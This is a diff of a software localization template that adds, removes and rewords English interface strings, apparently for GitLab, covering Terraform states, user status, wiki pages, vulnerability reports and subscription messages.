@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
